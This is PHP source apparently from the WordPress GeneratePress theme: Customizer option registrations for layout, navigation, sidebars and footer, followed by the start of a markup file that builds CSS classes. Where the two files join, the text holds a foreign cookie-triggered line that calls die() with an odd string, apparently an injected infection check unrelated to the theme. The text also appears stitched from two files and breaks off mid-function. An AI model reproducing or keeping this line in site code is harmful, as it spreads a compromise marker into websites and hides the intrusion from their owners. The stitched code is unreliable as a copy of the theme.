'default' => $defaults['header_inner_width'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
'generate_settings[header_inner_width]',
array(
'type' => 'select',
'label' => __( 'Inner Header Width', 'generatepress' ),
'section' => 'generate_layout_header',
'choices' => array(
'contained' => __( 'Contained', 'generatepress' ),
'full-width' => __( 'Full', 'generatepress' ),
),
'settings' => 'generate_settings[header_inner_width]',
'priority' => 6,
)
);
$wp_customize->add_setting(
'generate_settings[header_alignment_setting]',
array(
'default' => $defaults['header_alignment_setting'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
'generate_settings[header_alignment_setting]',
array(
'type' => 'select',
'label' => __( 'Header Alignment', 'generatepress' ),
'section' => 'generate_layout_header',
'choices' => array(
'left' => __( 'Left', 'generatepress' ),
'center' => __( 'Center', 'generatepress' ),
'right' => __( 'Right', 'generatepress' ),
),
'settings' => 'generate_settings[header_alignment_setting]',
'priority' => 10,
)
);
$wp_customize->add_section(
'generate_layout_navigation',
array(
'title' => __( 'Primary Navigation', 'generatepress' ),
'priority' => 30,
'panel' => 'generate_layout_panel',
)
);
$wp_customize->add_setting(
'generate_settings[nav_layout_setting]',
array(
'default' => $defaults['nav_layout_setting'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
'generate_settings[nav_layout_setting]',
array(
'type' => 'select',
'label' => __( 'Navigation Width', 'generatepress' ),
'section' => 'generate_layout_navigation',
'choices' => array(
'fluid-nav' => __( 'Full', 'generatepress' ),
'contained-nav' => __( 'Contained', 'generatepress' ),
),
'settings' => 'generate_settings[nav_layout_setting]',
'priority' => 15,
)
);
$wp_customize->add_setting(
'generate_settings[nav_inner_width]',
array(
'default' => $defaults['nav_inner_width'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
'generate_settings[nav_inner_width]',
array(
'type' => 'select',
'label' => __( 'Inner Navigation Width', 'generatepress' ),
'section' => 'generate_layout_navigation',
'choices' => array(
'contained' => __( 'Contained', 'generatepress' ),
'full-width' => __( 'Full', 'generatepress' ),
),
'settings' => 'generate_settings[nav_inner_width]',
'priority' => 16,
)
);
$wp_customize->add_setting(
'generate_settings[nav_alignment_setting]',
array(
'default' => $defaults['nav_alignment_setting'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
'generate_settings[nav_alignment_setting]',
array(
'type' => 'select',
'label' => __( 'Navigation Alignment', 'generatepress' ),
'section' => 'generate_layout_navigation',
'choices' => array(
'left' => __( 'Left', 'generatepress' ),
'center' => __( 'Center', 'generatepress' ),
'right' => __( 'Right', 'generatepress' ),
),
'settings' => 'generate_settings[nav_alignment_setting]',
'priority' => 20,
)
);
$wp_customize->add_setting(
'generate_settings[nav_position_setting]',
array(
'default' => $defaults['nav_position_setting'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
'transport' => 'refresh',
)
);
$wp_customize->add_control(
'generate_settings[nav_position_setting]',
array(
'type' => 'select',
'label' => __( 'Navigation Location', 'generatepress' ),
'section' => 'generate_layout_navigation',
'choices' => array(
'nav-below-header' => __( 'Below Header', 'generatepress' ),
'nav-above-header' => __( 'Above Header', 'generatepress' ),
'nav-float-right' => __( 'Float Right', 'generatepress' ),
'nav-float-left' => __( 'Float Left', 'generatepress' ),
'nav-left-sidebar' => __( 'Left Sidebar', 'generatepress' ),
'nav-right-sidebar' => __( 'Right Sidebar', 'generatepress' ),
'' => __( 'No Navigation', 'generatepress' ),
),
'settings' => 'generate_settings[nav_position_setting]',
'priority' => 22,
)
);
$wp_customize->add_setting(
'generate_settings[nav_drop_point]',
array(
'default' => $defaults['nav_drop_point'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_empty_absint',
)
);
$wp_customize->add_control(
new Generate_Range_Slider_Control(
$wp_customize,
'generate_settings[nav_drop_point]',
array(
'label' => __( 'Navigation Drop Point', 'generatepress' ),
'sub_description' => __( 'The width when the navigation ceases to float and drops below your logo.', 'generatepress' ),
'section' => 'generate_layout_navigation',
'settings' => array(
'desktop' => 'generate_settings[nav_drop_point]',
),
'choices' => array(
'desktop' => array(
'min' => 500,
'max' => 2000,
'step' => 10,
'edit' => true,
'unit' => 'px',
),
),
'priority' => 22,
)
)
);
$wp_customize->add_setting(
'generate_settings[nav_dropdown_type]',
array(
'default' => $defaults['nav_dropdown_type'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
)
);
$wp_customize->add_control(
'generate_settings[nav_dropdown_type]',
array(
'type' => 'select',
'label' => __( 'Navigation Dropdown', 'generatepress' ),
'section' => 'generate_layout_navigation',
'choices' => array(
'hover' => __( 'Hover', 'generatepress' ),
'click' => __( 'Click - Menu Item', 'generatepress' ),
'click-arrow' => __( 'Click - Arrow', 'generatepress' ),
),
'settings' => 'generate_settings[nav_dropdown_type]',
'priority' => 22,
)
);
$wp_customize->add_setting(
'generate_settings[nav_dropdown_direction]',
array(
'default' => $defaults['nav_dropdown_direction'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
)
);
$wp_customize->add_control(
'generate_settings[nav_dropdown_direction]',
array(
'type' => 'select',
'label' => __( 'Dropdown Direction', 'generatepress' ),
'section' => 'generate_layout_navigation',
'choices' => array(
'right' => __( 'Right', 'generatepress' ),
'left' => __( 'Left', 'generatepress' ),
),
'settings' => 'generate_settings[nav_dropdown_direction]',
'priority' => 22,
)
);
$wp_customize->add_setting(
'generate_settings[nav_search]',
array(
'default' => $defaults['nav_search'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
)
);
$wp_customize->add_control(
'generate_settings[nav_search]',
array(
'type' => 'select',
'label' => __( 'Navigation Search', 'generatepress' ),
'section' => 'generate_layout_navigation',
'choices' => array(
'enable' => __( 'Enable', 'generatepress' ),
'disable' => __( 'Disable', 'generatepress' ),
),
'settings' => 'generate_settings[nav_search]',
'priority' => 23,
'active_callback' => function() {
return 'enable' === generate_get_option( 'nav_search' );
},
)
);
$wp_customize->add_setting(
'generate_settings[nav_search_modal]',
array(
'default' => $defaults['nav_search_modal'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_checkbox',
)
);
$wp_customize->add_control(
'generate_settings[nav_search_modal]',
array(
'type' => 'checkbox',
'label' => esc_html__( 'Enable navigation search modal', 'generatepress' ),
'section' => 'generate_layout_navigation',
'priority' => 23,
'active_callback' => function() {
return 'disable' === generate_get_option( 'nav_search' );
},
)
);
$wp_customize->add_setting(
'generate_settings[content_layout_setting]',
array(
'default' => $defaults['content_layout_setting'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
)
);
$wp_customize->add_control(
'generate_settings[content_layout_setting]',
array(
'type' => 'select',
'label' => __( 'Content Layout', 'generatepress' ),
'section' => 'generate_layout_container',
'choices' => array(
'separate-containers' => __( 'Separate Containers', 'generatepress' ),
'one-container' => __( 'One Container', 'generatepress' ),
),
'settings' => 'generate_settings[content_layout_setting]',
'priority' => 25,
)
);
$wp_customize->add_setting(
'generate_settings[container_alignment]',
array(
'default' => $defaults['container_alignment'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
)
);
$wp_customize->add_control(
'generate_settings[container_alignment]',
array(
'type' => 'select',
'label' => __( 'Container Alignment', 'generatepress' ),
'section' => 'generate_layout_container',
'choices' => array(
'boxes' => __( 'Boxes', 'generatepress' ),
'text' => __( 'Text', 'generatepress' ),
),
'settings' => 'generate_settings[container_alignment]',
'priority' => 30,
)
);
$wp_customize->add_section(
'generate_layout_sidebars',
array(
'title' => __( 'Sidebars', 'generatepress' ),
'priority' => 40,
'panel' => 'generate_layout_panel',
)
);
$wp_customize->add_setting(
'generate_settings[layout_setting]',
array(
'default' => $defaults['layout_setting'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
)
);
$wp_customize->add_control(
'generate_settings[layout_setting]',
array(
'type' => 'select',
'label' => __( 'Sidebar Layout', 'generatepress' ),
'section' => 'generate_layout_sidebars',
'choices' => array(
'left-sidebar' => __( 'Sidebar / Content', 'generatepress' ),
'right-sidebar' => __( 'Content / Sidebar', 'generatepress' ),
'no-sidebar' => __( 'Content (no sidebars)', 'generatepress' ),
'both-sidebars' => __( 'Sidebar / Content / Sidebar', 'generatepress' ),
'both-left' => __( 'Sidebar / Sidebar / Content', 'generatepress' ),
'both-right' => __( 'Content / Sidebar / Sidebar', 'generatepress' ),
),
'settings' => 'generate_settings[layout_setting]',
'priority' => 30,
)
);
$wp_customize->add_setting(
'generate_settings[blog_layout_setting]',
array(
'default' => $defaults['blog_layout_setting'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
)
);
$wp_customize->add_control(
'generate_settings[blog_layout_setting]',
array(
'type' => 'select',
'label' => __( 'Blog Sidebar Layout', 'generatepress' ),
'section' => 'generate_layout_sidebars',
'choices' => array(
'left-sidebar' => __( 'Sidebar / Content', 'generatepress' ),
'right-sidebar' => __( 'Content / Sidebar', 'generatepress' ),
'no-sidebar' => __( 'Content (no sidebars)', 'generatepress' ),
'both-sidebars' => __( 'Sidebar / Content / Sidebar', 'generatepress' ),
'both-left' => __( 'Sidebar / Sidebar / Content', 'generatepress' ),
'both-right' => __( 'Content / Sidebar / Sidebar', 'generatepress' ),
),
'settings' => 'generate_settings[blog_layout_setting]',
'priority' => 35,
)
);
$wp_customize->add_setting(
'generate_settings[single_layout_setting]',
array(
'default' => $defaults['single_layout_setting'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
)
);
$wp_customize->add_control(
'generate_settings[single_layout_setting]',
array(
'type' => 'select',
'label' => __( 'Single Post Sidebar Layout', 'generatepress' ),
'section' => 'generate_layout_sidebars',
'choices' => array(
'left-sidebar' => __( 'Sidebar / Content', 'generatepress' ),
'right-sidebar' => __( 'Content / Sidebar', 'generatepress' ),
'no-sidebar' => __( 'Content (no sidebars)', 'generatepress' ),
'both-sidebars' => __( 'Sidebar / Content / Sidebar', 'generatepress' ),
'both-left' => __( 'Sidebar / Sidebar / Content', 'generatepress' ),
'both-right' => __( 'Content / Sidebar / Sidebar', 'generatepress' ),
),
'settings' => 'generate_settings[single_layout_setting]',
'priority' => 36,
)
);
$wp_customize->add_section(
'generate_layout_footer',
array(
'title' => __( 'Footer', 'generatepress' ),
'priority' => 50,
'panel' => 'generate_layout_panel',
)
);
$wp_customize->add_setting(
'generate_settings[footer_layout_setting]',
array(
'default' => $defaults['footer_layout_setting'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
'generate_settings[footer_layout_setting]',
array(
'type' => 'select',
'label' => __( 'Footer Width', 'generatepress' ),
'section' => 'generate_layout_footer',
'choices' => array(
'fluid-footer' => __( 'Full', 'generatepress' ),
'contained-footer' => __( 'Contained', 'generatepress' ),
),
'settings' => 'generate_settings[footer_layout_setting]',
'priority' => 40,
)
);
$wp_customize->add_setting(
'generate_settings[footer_inner_width]',
array(
'default' => $defaults['footer_inner_width'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
'generate_settings[footer_inner_width]',
array(
'type' => 'select',
'label' => __( 'Inner Footer Width', 'generatepress' ),
'section' => 'generate_layout_footer',
'choices' => array(
'contained' => __( 'Contained', 'generatepress' ),
'full-width' => __( 'Full', 'generatepress' ),
),
'settings' => 'generate_settings[footer_inner_width]',
'priority' => 41,
)
);
$wp_customize->add_setting(
'generate_settings[footer_widget_setting]',
array(
'default' => $defaults['footer_widget_setting'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
)
);
$wp_customize->add_control(
'generate_settings[footer_widget_setting]',
array(
'type' => 'select',
'label' => __( 'Footer Widgets', 'generatepress' ),
'section' => 'generate_layout_footer',
'choices' => array(
'0' => '0',
'1' => '1',
'2' => '2',
'3' => '3',
'4' => '4',
'5' => '5',
),
'settings' => 'generate_settings[footer_widget_setting]',
'priority' => 45,
)
);
$wp_customize->add_setting(
'generate_settings[footer_bar_alignment]',
array(
'default' => $defaults['footer_bar_alignment'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
'generate_settings[footer_bar_alignment]',
array(
'type' => 'select',
'label' => __( 'Footer Bar Alignment', 'generatepress' ),
'section' => 'generate_layout_footer',
'choices' => array(
'left' => __( 'Left', 'generatepress' ),
'center' => __( 'Center', 'generatepress' ),
'right' => __( 'Right', 'generatepress' ),
),
'settings' => 'generate_settings[footer_bar_alignment]',
'priority' => 47,
'active_callback' => 'generate_is_footer_bar_active',
)
);
$wp_customize->add_setting(
'generate_settings[back_to_top]',
array(
'default' => $defaults['back_to_top'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
)
);
$wp_customize->add_control(
'generate_settings[back_to_top]',
array(
'type' => 'select',
'label' => __( 'Back to Top Button', 'generatepress' ),
'section' => 'generate_layout_footer',
'choices' => array(
'enable' => __( 'Enable', 'generatepress' ),
'' => __( 'Disable', 'generatepress' ),
),
'settings' => 'generate_settings[back_to_top]',
'priority' => 50,
)
);
$wp_customize->add_section(
'generate_blog_section',
array(
'title' => __( 'Blog', 'generatepress' ),
'priority' => 55,
'panel' => 'generate_layout_panel',
)
);
$wp_customize->add_setting(
'generate_settings[post_content]',
array(
'default' => $defaults['post_content'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_blog_excerpt',
)
);
$wp_customize->add_control(
'blog_content_control',
array(
'type' => 'select',
'label' => __( 'Content Type', 'generatepress' ),
'section' => 'generate_blog_section',
'choices' => array(
'full' => __( 'Full Content', 'generatepress' ),
'excerpt' => __( 'Excerpt', 'generatepress' ),
),
'settings' => 'generate_settings[post_content]',
'priority' => 10,
)
);
if ( ! function_exists( 'generate_blog_customize_register' ) && ! defined( 'GP_PREMIUM_VERSION' ) ) {
$wp_customize->add_control(
new Generate_Customize_Misc_Control(
$wp_customize,
'blog_get_addon_desc',
array(
'section' => 'generate_blog_section',
'type' => 'addon',
'label' => __( 'Learn more', 'generatepress' ),
'description' => __( 'More options are available for this section in our premium version.', 'generatepress' ),
'url' => generate_get_premium_url( 'https://generatepress.com/premium/#blog', false ),
'priority' => 30,
'settings' => ( isset( $wp_customize->selective_refresh ) ) ? array() : 'blogname',
)
)
);
}
$wp_customize->add_section(
'generate_general_section',
array(
'title' => __( 'General', 'generatepress' ),
'priority' => 99,
)
);
if ( ! apply_filters( 'generate_fontawesome_essentials', false ) ) {
$wp_customize->add_setting(
'generate_settings[font_awesome_essentials]',
array(
'default' => $defaults['font_awesome_essentials'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_checkbox',
)
);
$wp_customize->add_control(
'generate_settings[font_awesome_essentials]',
array(
'type' => 'checkbox',
'label' => __( 'Load essential icons only', 'generatepress' ),
'description' => __( 'Load essential Font Awesome icons instead of the full library.', 'generatepress' ),
'section' => 'generate_general_section',
'settings' => 'generate_settings[font_awesome_essentials]',
)
);
}
$show_flexbox_option = true;
if ( defined( 'GP_PREMIUM_VERSION' ) && version_compare( GP_PREMIUM_VERSION, '1.11.0-alpha.1', '<' ) ) {
$show_flexbox_option = false;
}
if ( generate_is_using_flexbox() ) {
$show_flexbox_option = false;
}
$show_flexbox_option = apply_filters( 'generate_show_flexbox_customizer_option', $show_flexbox_option );
if ( $show_flexbox_option ) {
$wp_customize->add_setting(
'generate_settings[structure]',
array(
'default' => $defaults['structure'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
)
);
$wp_customize->add_control(
'generate_settings[structure]',
array(
'type' => 'select',
'label' => __( 'Structure', 'generatepress' ),
'section' => 'generate_general_section',
'choices' => array(
'flexbox' => __( 'Flexbox', 'generatepress' ),
'floats' => __( 'Floats', 'generatepress' ),
),
'description' => sprintf(
'%1$s %2$s',
__( 'Caution:', 'generatepress' ),
sprintf(
/* translators: Learn more here */
__( 'Switching your structure can change how your website displays. Review your website thoroughly before publishing this change, or use a staging site to review the potential changes. Learn more %s.', 'generatepress' ),
'' . __( 'here', 'generatepress' ) . ''
)
),
'settings' => 'generate_settings[structure]',
)
);
}
$wp_customize->add_setting(
'generate_settings[icons]',
array(
'default' => $defaults['icons'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
)
);
$wp_customize->add_control(
'generate_settings[icons]',
array(
'type' => 'select',
'label' => __( 'Icon Type', 'generatepress' ),
'section' => 'generate_general_section',
'choices' => array(
'svg' => __( 'SVG', 'generatepress' ),
'font' => __( 'Font', 'generatepress' ),
),
'settings' => 'generate_settings[icons]',
)
);
$wp_customize->add_setting(
'generate_settings[underline_links]',
array(
'default' => $defaults['underline_links'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
)
);
$wp_customize->add_control(
'generate_settings[underline_links]',
array(
'type' => 'select',
'label' => __( 'Underline Links', 'generatepress' ),
'description' => __( 'Add underlines to your links in your main content areas.', 'generatepress' ),
'section' => 'generate_general_section',
'choices' => array(
'always' => __( 'Always', 'generatepress' ),
'hover' => __( 'On hover', 'generatepress' ),
'not-hover' => __( 'Not on hover', 'generatepress' ),
'never' => __( 'Never', 'generatepress' ),
),
'settings' => 'generate_settings[underline_links]',
)
);
$wp_customize->add_setting(
'generate_settings[combine_css]',
array(
'default' => $defaults['combine_css'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_checkbox',
)
);
$wp_customize->add_control(
'generate_settings[combine_css]',
array(
'type' => 'checkbox',
'label' => __( 'Combine CSS', 'generatepress' ),
'description' => __( 'Reduce the number of CSS file requests and use a lite version of our grid system.', 'generatepress' ),
'section' => 'generate_general_section',
'active_callback' => 'generate_is_using_floats_callback',
)
);
$wp_customize->add_setting(
'generate_settings[dynamic_css_cache]',
array(
'default' => $defaults['dynamic_css_cache'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_checkbox',
)
);
$wp_customize->add_control(
'generate_settings[dynamic_css_cache]',
array(
'type' => 'checkbox',
'label' => __( 'Cache dynamic CSS', 'generatepress' ),
'description' => __( 'Cache CSS generated by your options to boost performance.', 'generatepress' ),
'section' => 'generate_general_section',
)
);
$show_legacy_typography_option = true;
if ( defined( 'GP_PREMIUM_VERSION' ) && version_compare( GP_PREMIUM_VERSION, '2.1.0-alpha.1', '<' ) ) {
$show_legacy_typography_option = false;
}
if ( generate_is_using_dynamic_typography() ) {
$show_legacy_typography_option = false;
}
$show_legacy_typography_option = apply_filters( 'generate_show_legacy_typography_customizer_option', $show_legacy_typography_option );
if ( $show_legacy_typography_option ) {
$wp_customize->add_setting(
'generate_settings[use_dynamic_typography]',
array(
'default' => $defaults['use_dynamic_typography'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_checkbox',
)
);
$wp_customize->add_control(
'generate_settings[use_dynamic_typography]',
array(
'type' => 'checkbox',
'label' => __( 'Use dynamic typography system', 'generatepress' ),
'description' => sprintf(
/* translators: Learn more here */
__( 'Switching to our dynamic typography system can change how your fonts display. Review your website thoroughly before publishing this change. Learn more %s.', 'generatepress' ),
'' . __( 'here', 'generatepress' ) . ''
),
'section' => 'generate_general_section',
'settings' => 'generate_settings[use_dynamic_typography]',
)
);
}
}
}if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* Adds HTML markup.
*
* @package GeneratePress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
if ( ! function_exists( 'generate_body_classes' ) ) {
add_filter( 'body_class', 'generate_body_classes' );
/**
* Adds custom classes to the array of body classes.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_body_classes( $classes ) {
$sidebar_layout = generate_get_layout();
$navigation_location = generate_get_navigation_location();
$navigation_alignment = generate_get_option( 'nav_alignment_setting' );
$navigation_dropdown = generate_get_option( 'nav_dropdown_type' );
$header_alignment = generate_get_option( 'header_alignment_setting' );
$content_layout = generate_get_option( 'content_layout_setting' );
// These values all have defaults, but we like to be extra careful.
$classes[] = ( $sidebar_layout ) ? $sidebar_layout : 'right-sidebar';
$classes[] = ( $navigation_location ) ? $navigation_location : 'nav-below-header';
$classes[] = ( $content_layout ) ? $content_layout : 'separate-containers';
if ( ! generate_is_using_flexbox() ) {
$footer_widgets = generate_get_footer_widgets();
$header_layout = generate_get_option( 'header_layout_setting' );
$classes[] = ( $header_layout ) ? $header_layout : 'fluid-header';
$classes[] = ( '' !== $footer_widgets ) ? 'active-footer-widgets-' . absint( $footer_widgets ) : 'active-footer-widgets-3';
}
if ( 'enable' === generate_get_option( 'nav_search' ) ) {
$classes[] = 'nav-search-enabled';
}
// Only necessary for nav before or after header.
if ( ! generate_is_using_flexbox() && 'nav-below-header' === $navigation_location || 'nav-above-header' === $navigation_location ) {
if ( 'center' === $navigation_alignment ) {
$classes[] = 'nav-aligned-center';
} elseif ( 'right' === $navigation_alignment ) {
$classes[] = 'nav-aligned-right';
} elseif ( 'left' === $navigation_alignment ) {
$classes[] = 'nav-aligned-left';
}
}
if ( 'center' === $header_alignment ) {
$classes[] = 'header-aligned-center';
} elseif ( 'right' === $header_alignment ) {
$classes[] = 'header-aligned-right';
} elseif ( 'left' === $header_alignment ) {
$classes[] = 'header-aligned-left';
}
if ( 'click' === $navigation_dropdown ) {
$classes[] = 'dropdown-click';
$classes[] = 'dropdown-click-menu-item';
} elseif ( 'click-arrow' === $navigation_dropdown ) {
$classes[] = 'dropdown-click-arrow';
$classes[] = 'dropdown-click';
} else {
$classes[] = 'dropdown-hover';
}
if ( is_singular() ) {
// Page builder container metabox option.
// Used to be a single checkbox, hence the name/true value. Now it's a radio choice between full width and contained.
$content_container = get_post_meta( get_the_ID(), '_generate-full-width-content', true );
if ( $content_container ) {
if ( 'true' === $content_container ) {
$classes[] = 'full-width-content';
}
if ( 'contained' === $content_container ) {
$classes[] = 'contained-content';
}
}
if ( has_post_thumbnail() ) {
$classes[] = 'featured-image-active';
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_top_bar_classes' ) ) {
add_filter( 'generate_top_bar_class', 'generate_top_bar_classes' );
/**
* Adds custom classes to the header.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_top_bar_classes( $classes ) {
$classes[] = 'top-bar';
if ( 'contained' === generate_get_option( 'top_bar_width' ) ) {
$classes[] = 'grid-container';
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
}
$classes[] = 'top-bar-align-' . esc_attr( generate_get_option( 'top_bar_alignment' ) );
return $classes;
}
}
if ( ! function_exists( 'generate_right_sidebar_classes' ) ) {
add_filter( 'generate_right_sidebar_class', 'generate_right_sidebar_classes' );
/**
* Adds custom classes to the right sidebar.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_right_sidebar_classes( $classes ) {
$classes[] = 'widget-area';
$classes[] = 'sidebar';
$classes[] = 'is-right-sidebar';
if ( ! generate_is_using_flexbox() ) {
$right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '25' );
$left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '25' );
$right_sidebar_tablet_width = apply_filters( 'generate_right_sidebar_tablet_width', $right_sidebar_width );
$left_sidebar_tablet_width = apply_filters( 'generate_left_sidebar_tablet_width', $left_sidebar_width );
$classes[] = 'grid-' . $right_sidebar_width;
$classes[] = 'tablet-grid-' . $right_sidebar_tablet_width;
$classes[] = 'grid-parent';
// Get the layout.
$layout = generate_get_layout();
if ( '' !== $layout ) {
switch ( $layout ) {
case 'both-left':
$total_sidebar_width = $left_sidebar_width + $right_sidebar_width;
$classes[] = 'pull-' . ( 100 - $total_sidebar_width );
$total_sidebar_tablet_width = $left_sidebar_tablet_width + $right_sidebar_tablet_width;
$classes[] = 'tablet-pull-' . ( 100 - $total_sidebar_tablet_width );
break;
}
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_left_sidebar_classes' ) ) {
add_filter( 'generate_left_sidebar_class', 'generate_left_sidebar_classes' );
/**
* Adds custom classes to the left sidebar.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_left_sidebar_classes( $classes ) {
$classes[] = 'widget-area';
$classes[] = 'sidebar';
$classes[] = 'is-left-sidebar';
if ( ! generate_is_using_flexbox() ) {
$right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '25' );
$left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '25' );
$total_sidebar_width = $left_sidebar_width + $right_sidebar_width;
$right_sidebar_tablet_width = apply_filters( 'generate_right_sidebar_tablet_width', $right_sidebar_width );
$left_sidebar_tablet_width = apply_filters( 'generate_left_sidebar_tablet_width', $left_sidebar_width );
$total_sidebar_tablet_width = $left_sidebar_tablet_width + $right_sidebar_tablet_width;
$classes[] = 'grid-' . $left_sidebar_width;
$classes[] = 'tablet-grid-' . $left_sidebar_tablet_width;
$classes[] = 'mobile-grid-100';
$classes[] = 'grid-parent';
// Get the layout.
$layout = generate_get_layout();
if ( '' !== $layout ) {
switch ( $layout ) {
case 'left-sidebar':
$classes[] = 'pull-' . ( 100 - $left_sidebar_width );
$classes[] = 'tablet-pull-' . ( 100 - $left_sidebar_tablet_width );
break;
case 'both-sidebars':
case 'both-left':
$classes[] = 'pull-' . ( 100 - $total_sidebar_width );
$classes[] = 'tablet-pull-' . ( 100 - $total_sidebar_tablet_width );
break;
}
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_content_classes' ) ) {
add_filter( 'generate_content_class', 'generate_content_classes' );
/**
* Adds custom classes to the content container.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_content_classes( $classes ) {
$classes[] = 'content-area';
if ( ! generate_is_using_flexbox() ) {
$right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '25' );
$left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '25' );
$total_sidebar_width = $left_sidebar_width + $right_sidebar_width;
$right_sidebar_tablet_width = apply_filters( 'generate_right_sidebar_tablet_width', $right_sidebar_width );
$left_sidebar_tablet_width = apply_filters( 'generate_left_sidebar_tablet_width', $left_sidebar_width );
$total_sidebar_tablet_width = $left_sidebar_tablet_width + $right_sidebar_tablet_width;
$classes[] = 'grid-parent';
$classes[] = 'mobile-grid-100';
// Get the layout.
$layout = generate_get_layout();
if ( '' !== $layout ) {
switch ( $layout ) {
case 'right-sidebar':
$classes[] = 'grid-' . ( 100 - $right_sidebar_width );
$classes[] = 'tablet-grid-' . ( 100 - $right_sidebar_tablet_width );
break;
case 'left-sidebar':
$classes[] = 'push-' . $left_sidebar_width;
$classes[] = 'grid-' . ( 100 - $left_sidebar_width );
$classes[] = 'tablet-push-' . $left_sidebar_tablet_width;
$classes[] = 'tablet-grid-' . ( 100 - $left_sidebar_tablet_width );
break;
case 'no-sidebar':
$classes[] = 'grid-100';
$classes[] = 'tablet-grid-100';
break;
case 'both-sidebars':
$classes[] = 'push-' . $left_sidebar_width;
$classes[] = 'grid-' . ( 100 - $total_sidebar_width );
$classes[] = 'tablet-push-' . $left_sidebar_tablet_width;
$classes[] = 'tablet-grid-' . ( 100 - $total_sidebar_tablet_width );
break;
case 'both-right':
$classes[] = 'grid-' . ( 100 - $total_sidebar_width );
$classes[] = 'tablet-grid-' . ( 100 - $total_sidebar_tablet_width );
break;
case 'both-left':
$classes[] = 'push-' . $total_sidebar_width;
$classes[] = 'grid-' . ( 100 - $total_sidebar_width );
$classes[] = 'tablet-push-' . $total_sidebar_tablet_width;
$classes[] = 'tablet-grid-' . ( 100 - $total_sidebar_tablet_width );
break;
}
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_header_classes' ) ) {
add_filter( 'generate_header_class', 'generate_header_classes' );
/**
* Adds custom classes to the header.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_header_classes( $classes ) {
$classes[] = 'site-header';
if ( 'contained-header' === generate_get_option( 'header_layout_setting' ) ) {
$classes[] = 'grid-container';
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
}
if ( generate_has_inline_mobile_toggle() ) {
$classes[] = 'has-inline-mobile-toggle';
}
return $classes;
}
}
if ( ! function_exists( 'generate_inside_header_classes' ) ) {
add_filter( 'generate_inside_header_class', 'generate_inside_header_classes' );
/**
* Adds custom classes to inside the header.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_inside_header_classes( $classes ) {
$classes[] = 'inside-header';
if ( 'full-width' !== generate_get_option( 'header_inner_width' ) ) {
$classes[] = 'grid-container';
if ( ! generate_is_using_flexbox() ) {
$classes[] = 'grid-parent';
}
}
return $classes;
}
}
if ( ! function_exists( 'generate_navigation_classes' ) ) {
add_filter( 'generate_navigation_class', 'generate_navigation_classes' );
/**
* Adds custom classes to the navigation.
*
* @param array $classes The existing classes.
* @since 0.1
*/
function generate_navigation_classes( $classes ) {
$classes[] = 'main-navigation';
if ( 'contained-nav' === generate_get_option( 'nav_layout_setting' ) ) {
if ( generate_is_using_flexbox() ) {
$navigation_location = generate_get_navigation_location();
if ( 'nav-float-right' !== $navigation_location && 'nav-float-left' !== $navigation_location ) {
$classes[] = 'grid-container';
}
} else {
$classes[] = 'grid-container';
$classes[] = 'grid-parent';
}
}
if ( generate_is_using_flexbox() ) {
$nav_alignment = generate_get_option( 'nav_alignment_setting' );
if ( 'center' === $nav_alignment ) {
$classes[] = 'nav-align-center';
} elseif ( 'right' === $nav_alignment ) {
$classes[] = 'nav-align-right';
} elseif ( is_rtl() && 'left' === $nav_alignment ) {
$classes[] = 'nav-align-left';
}
if ( generate_has_menu_bar_items() ) {
